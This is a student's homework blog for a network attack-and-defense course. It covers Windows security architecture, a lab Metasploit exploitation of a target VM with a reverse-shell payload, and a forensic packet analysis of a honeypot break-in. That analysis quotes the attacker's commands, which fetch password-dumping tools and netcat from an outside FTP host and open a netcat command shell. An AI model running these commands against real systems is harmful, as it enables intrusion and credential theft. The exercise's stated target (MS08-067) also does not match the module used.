20199136张亚峰 2019-2020-2 《网络攻防实践》第七周作业
1. 实践内容
Windows操作系统基本结构
Windows操作系统基本结构分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。

| Windows OS内核基本模块 | 描述 |
|---|---|
| Windows 执行体 | 即Windows内核核心文件nokml.xe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。 |
| Windows 内核体 | 即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。 |
| 设备驱动程序 | 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。 |
| 硬件抽象层 | 即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。 |
| Windows窗口与图形界面接口内核实现代码 | 即win32k.sys文件 |
| Windows OS用户态代码模块 | 描述 |
|---|---|
| 系统支持进程 | Windows开机自动启动的系统内建服务进程。 |
| 环境子系统服务进程 | 为操作系统运行环境提供支持的服务进程。 |
| 服务进程 | 通过Windows的服务管理机制所启动的一系列系统及网络服务。 |
| 用户应用软件 | 在用户态执行的各类用户应用软件。 |
| 核心子系统DLL | 即kernel32.d1/uer32.d/gdi32 d/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。 |
| Windows网络组件模块 | 层 | 描述 |
|---|---|---|
| 各网卡硬件设备的驱动程序 | 物理层 | 一般由第三方硬件厂商提供 |
| NDIS(Network Driver Interface Specification,网络驱动程序接口规范)库及mimiport驱动 | 数据链路层 | 为不同的网卡驱动和TDI传输层间构建了封装接口 |
| TDI(Transport Driver Interface,传输驱动程序接口/网络协议驱动)传输层 | 网络层、传输层 | 这个协议驱动生成了一个有名字的设备,这个设备能接收一组请求,主要是生成请求和控制请求,用来实现所有复杂的功能 |
| 网络API DLL及TDI客户端 | 会话层、表示层 | 网络API DLL为应用程序提供了独立于具体协议提供网络交互和实现方式,TDI客户端是网络API接口的具体实现 |
| 网络应用服务程序与服务进程 | 应用层 | 实现网络交互和通信功能 |
Windows操作系统安全体系结构与机制
Windows安全体系结构
- windows的安全体系结构基于引用监控器这一经典的安全模型,所有主体对客体的访问都通过监控器,根据安全访问控制策略进行授权访问,所有访问记录由监控器生成日志。
Windows身份认证机制
- Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。
Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。
- 用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。
- Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。
- Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。
Windows授权与访问控制机制
在用户等主体经过认证后,Windows会从内部数据库里读取该账户的信息,然后使用这些信息生成一个访问令牌,含有在该账户环境下启动的进程,都会获得这个令牌的副本。
系统内所有需要保护的资源都抽象成对象,每个对象会关联一个SD安全描述符,其主要属性如下
- Owner SID:对象所有者的SID
- Group SID:对象所在组的SID
- DACL自主访问控制列表:指明哪些安全主体可以以何种方式访问该对象
- SACL系统审计访问控制列表:指明了哪些主体发起的哪些访问操作需要被审计
访问令牌和SD结合组成Windows访问控制机制
Windows安全审计机制
LSASS服务将保存审计策略,并在对象启动审计功能后,对SD中的SACL列表进行保存。
Windows其他安全机制
包括集成了防火墙、补丁自动更新和防病毒三项功能的Windows安全中心,以及IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、IE浏览器隐私保护与浏览安全机制等。
Windows远程攻防技术
| 攻击方式 | 防范措施 |
|---|---|
| 远程口令猜测与破解 | 关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令 |
| 网络服务远程渗透攻击 | 打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞 |
| 攻击windows客户端及用户三大类 | 使用安全的软件、及时更新软件 |
windows本地安全攻防技术
| 攻击目标 | 常用手段 | 防范措施 |
|---|---|---|
| 本地特权提升 | DLL注入、破解本地程序漏洞、计划任务 | 及时打补丁、采取厂家提供的变通方法 |
| 敏感信息窃取 | Windows系统口令字密文提取技术、Windows系统口令字破解技术、用户敏感信息窃取 | 选择强口令、加密保护敏感信息 |
| 消踪灭迹 | 关闭审计功能、清理事件日志 | 配置好系统审计和网络服务审计功能、将日志记录到不可擦写的CDROM中,或通过网络传到安全的日志服务器 |
| 远程控制与后门程序 | 命令行远程控制工具、图形化远程控制工具 | 安装后门检测软件、杀毒软件 |
2. 实践过程
实践一:Metasploit Windows Attacker
任务:使用window attacker/BT4攻击机尝试对Windows Metasploit靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。
| 虚拟机 | IP地址 |
|---|---|
| 攻击机Kali | 192.168.200.2 |
| 靶机Win2kServer | 192.168.200.124 |
- 在Kali中通过指令
msfconsole进入Metasploit
![]()
use exploit/windows/dcerpc/ms03_026_dcom表示使用MS03-026作为攻击的目标漏洞 - 通过命令
set PAYLOAD windows/meterpreter/reverse_tcp设置反向连接的载荷
![]()
- 使用
set LHOST 192.168.200.2设置攻击机IP地址,使用set RHOST 192.168.200.124设置靶机IP地址
![]()
- 使用
exploit开始攻击
![]()
- 返回
meterpreter表示攻击成功,运行shell指令,来开启靶机的shell(这里尝试了四次才成功。。),并用ipconfig来查看shell是否正确执行
![]()
![]()
实践二:取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题
- 攻击者使用了什么破解工具进行攻击?
- 攻击者如何使用这个破解工具进入并控制了系统?
- 攻击者获得系统访问权限后做了什么?
- 我们如何防止这样的攻击?
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
1.攻击者使用了什么破解工具进行攻击?
-
首先根据题目筛选
ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,可以发现攻击者一开始进行了HTTP访问,而且可看到发起http请求的主机系统是windows-NT5.0以及响应http请求的服务端主机安装了IIS4.0服务组件
![]()
![]()
-
接下来继续找到编号117,发现攻击者打开了系统启动文件
boot.ini,%C0%AF字符为/的Unicode编码,由此可以判断攻击者进行了Unicode攻击来打开ini文件。
![]()
-
随后观察到编号130和编号140中含有
msadc,表明正在进行探测。
通过追踪编号149的tcp流,可发现这是一个SQL注入攻击。是数据库操作,执行的命令是cmd /c echo werd >> c:\fun,所以确定这是一次基于MSADCS RDS的漏洞攻击
![]()
![]()
通过图可以看到字符串ADM!ROX!YOUR!WORLD出现的频率很高,通过查询发现这是一个名为msadc2.pl工具发起的攻击
2.攻击者如何使用这个破解工具进入并控制了系统?
在观察数据流的时候发现下图这样的消息多次出现,后经查询dll是一种利用IIS漏洞的攻击

在追踪179号数据包的tcp流时,看到如下指令cmd /c echo user johna2k > ftpcom,即攻击者创建了一个ftpcom脚本

继续往下找,依次可以找到以下指令:
cmd /c echo hacker2000 > ftpcom
cmd /c echo get samdump.dll > ftpcom
cmd /c echo get pdump.exe > ftpcom
cmd /c echo get nc.exe > ftpcom
cmd /c echo quit >> ftpcom
cmd /c ftp -s:ftpcom -n www.nether.net
再往下看可以发现攻击者多次尝试建立FTP连接,直到1115时这种连接建立成功。

往下翻找关于ddl的消息,可以看到c+nc+-l+-p+6969+-e+cmdl.exe,说明攻击者连接到了6969端口,并获得了访问权

3.攻击者获得系统访问权限后做了什么?
由于知道攻击者连接到6969端口,所以我们可以通过条件tcp.port == 6969来筛选出我们要的信息,随便打开一条来追踪其tcp流
- 该图说明攻击者尝试信息搜集,但是没有权限,然后又返回了主机的用户列表
![]()
- 攻击者又尝试查看组用户,也同样失败了
![]()
- 攻击者又开始寻找msadc目录,且通过
pdump破解口令,还是失败了
![]()
![]()
4.我们如何防止这样的攻击?
- 定期修复系统漏洞
- 禁用闲置RDS服务
- 使用可以加强网页安全的软件
5.你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
通过分析攻击者的口令可得知

团队对抗实践:Window系统远程渗透攻击和分析
该实践和实践一相类似,这里通过kali向靶机发起MS08-067漏洞攻击,通过wireshark进行监听。(其他指令不再赘述)



由图可以发现攻击方IP地址为192.168.200.2,端口为42641;防守方IP地址为192.168.200.124,端口为445
3. 学习中遇到的问题及解决
问题1:本来电脑上没有装win靶机,装了之后发现win攻击机和win靶机虽然能相互ping通,但是均无法联网(其他虚拟机都可以)
问题1解决方案:重新配置了一下win攻击机和靶机,感觉就很魔幻
4. 实践总结
看了一遍书,都没有捕获到什么有用信息,还是看同学的博客比较直观。感觉这次实验内容较多,尤其是分析那块,真的是一点都不懂,但至少逻辑上理清楚了。
参考资料
- 解建国同学博客
- [网络攻防与实践]
















浙公网安备 33010602011771号